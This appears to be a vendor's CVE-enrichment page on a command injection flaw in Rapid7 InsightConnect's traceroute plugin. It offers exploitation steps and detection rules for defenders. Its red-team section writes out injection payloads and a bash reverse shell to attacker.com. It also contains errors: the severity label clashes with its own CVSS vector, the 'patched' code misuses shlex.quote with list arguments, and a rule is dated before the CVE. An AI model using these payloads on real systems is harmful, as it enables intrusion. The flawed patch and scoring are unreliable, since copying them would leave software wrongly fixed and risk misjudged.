☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Rapid7 logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.7 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-8666

CVE-2026-8666 OS Command Injection in Rapid7 insightconnect traceroute plugin
📅 PUBLISHED: 2026-06-25 02:16 UTC 🔄 UPDATED: 2026-09-23 20:19 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.20%
👁️
1.20% probability
29.9× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-8666 is a critical OS Command Injection vulnerability in the Rapid7 InsightConnect Traceroute Plugin for Linux. The flaw resides in the traceroute action, where insufficient input validation on the host, port, max_ttl, count, and time_out parameters allows a remote attacker to inject arbitrary operating system commands. With a CVSS score of 7.7, this vulnerability can lead to full system compromise, data exfiltration, and lateral movement within the network. No public proof-of-concept or patch is currently available, making this a high-priority zero-day for defenders.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a Rapid7 InsightConnect plugin, which is part of a commercial SOAR platform. The plugin is distributed through Rapid7’s official channels. Organizations using this plugin should immediately isolate affected systems and monitor for unauthorized access. No open-source package (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Full read access to system data.
  • Integrity (I): High (H) – Full write access to system data.
  • Availability (A): High (H) – Full denial of service possible.

Threat Level: Critical. The combination of remote exploitability, low complexity, and no required privileges makes this a severe risk.

Deep Dive & Mechanics

The vulnerability exists in the traceroute action of the InsightConnect Traceroute Plugin. The plugin constructs a shell command to execute the system’s traceroute utility. The parameters host, port, max_ttl, count, and time_out are concatenated into the command string without proper sanitization or escaping.

For example, a vulnerable code snippet might look like:

import subprocess

def run_traceroute(host, port, max_ttl, count, time_out):
    command = f"traceroute -p {port} -m {max_ttl} -q {count} -w {time_out} {host}"
    result = subprocess.check_output(command, shell=True)
    return result

An attacker can inject a semicolon (;) or backtick (`) followed by arbitrary commands. For instance, setting host to 8.8.8.8; id would execute the id command after the traceroute.

The root cause is the use of shell=True in subprocess.check_output combined with string interpolation. This allows the shell to interpret special characters.

Vulnerable vs. Patched Code

Vulnerable Code (Python):

import subprocess

def run_traceroute(host, port, max_ttl, count, time_out):
    command = f"traceroute -p {port} -m {max_ttl} -q {count} -w {time_out} {host}"
    result = subprocess.check_output(command, shell=True)
    return result

Patched Code (Python):

import subprocess
import shlex

def run_traceroute(host, port, max_ttl, count, time_out):
    # Validate and sanitize inputs
    host = shlex.quote(host)
    port = shlex.quote(str(port))
    max_ttl = shlex.quote(str(max_ttl))
    count = shlex.quote(str(count))
    time_out = shlex.quote(str(time_out))
    
    command = ["traceroute", "-p", port, "-m", max_ttl, "-q", count, "-w", time_out, host]
    result = subprocess.check_output(command, shell=False)
    return result

The patched version uses shlex.quote() to escape shell metacharacters and passes arguments as a list to subprocess.check_output with shell=False, preventing command injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy a vulnerable instance of Rapid7 InsightConnect with the Traceroute Plugin on a Linux VM.
  2. Ensure the plugin’s traceroute action is exposed via a web interface or API.

Exploitation Steps:

  1. Identify the vulnerable endpoint (e.g., /api/traceroute).
  2. Craft a malicious request with command injection in the host parameter:
    POST /api/traceroute HTTP/1.1
    Host: target.com
    Content-Type: application/json
    
    {"host": "8.8.8.8; id", "port": 80, "max_ttl": 30, "count": 3, "time_out": 5}
    
  3. Observe the response containing the output of the id command.
  4. Escalate to a reverse shell:
    {"host": "8.8.8.8; bash -c 'exec bash -i &>/dev/tcp/attacker.com/4444 <&1'", "port": 80, "max_ttl": 30, "count": 3, "time_out": 5}
    

Blue Team

Detection:

  • Monitor for unusual shell metacharacters (;, |, &, `, $()) in HTTP request parameters.
  • Alert on processes spawned by the InsightConnect service that execute traceroute with unexpected arguments.
  • Use the Sigma rule below to detect command injection attempts.

Hunting:

  • Search logs for traceroute commands containing -p, -m, -q, -w followed by suspicious strings.
  • Look for outbound connections from the InsightConnect server to unknown IPs on high ports (e.g., 4444).

Indicators of Compromise (IOCs)

  • Network:
    • HTTP requests to /api/traceroute with parameters containing shell metacharacters.
    • Outbound connections from the InsightConnect server to attacker-controlled IPs on ports 4444, 8080, or 1337.
  • Host:
    • Unexpected processes named traceroute with arguments containing ;, |, or $().
    • Files created in /tmp/ with suspicious names (e.g., exploit.sh).
    • Unusual entries in /etc/cron.d/ or /etc/passwd.
  • Logs:
    • Application logs showing subprocess.check_output failures with OSError or CalledProcessError.
    • System logs (/var/log/syslog) showing traceroute commands with injected strings.

Detection Engineering

YARA Rule

rule CVE_2026_8666_Command_Injection {
    meta:
        description = "Detects command injection attempts against Rapid7 InsightConnect Traceroute Plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-8666"
    strings:
        $s1 = "traceroute -p" ascii wide nocase
        $s2 = "traceroute -m" ascii wide nocase
        $s3 = "traceroute -q" ascii wide nocase
        $s4 = "traceroute -w" ascii wide nocase
        $inject1 = /[;&|`$()]/
    condition:
        any of ($s*) and $inject1
}

Sigma Rule

title: CVE-2026-8666 Command Injection in Rapid7 InsightConnect Traceroute
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts via shell metacharacters in traceroute parameters
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/traceroute'
        CommandLine|contains:
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of traceroute with unusual parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-8666 Command Injection in Rapid7 InsightConnect Traceroute"; flow:to_server; content:"/api/traceroute"; http_uri; pcre:"/(host|port|max_ttl|count|time_out)=.*[;&|`$()]/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the InsightConnect server from untrusted networks.
  2. Disable the Traceroute Plugin if not critical.
  3. Apply network segmentation to limit exposure.

Long-term Fix:

  • Rapid7 must release a patched version that uses parameterized commands (e.g., list-based arguments with shell=False).
  • Until a patch is available, implement a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in the vulnerable parameters.

Workaround:

  • Modify the plugin’s source code (if accessible) to use shlex.quote() and shell=False as shown in the patched code example.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-8666/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.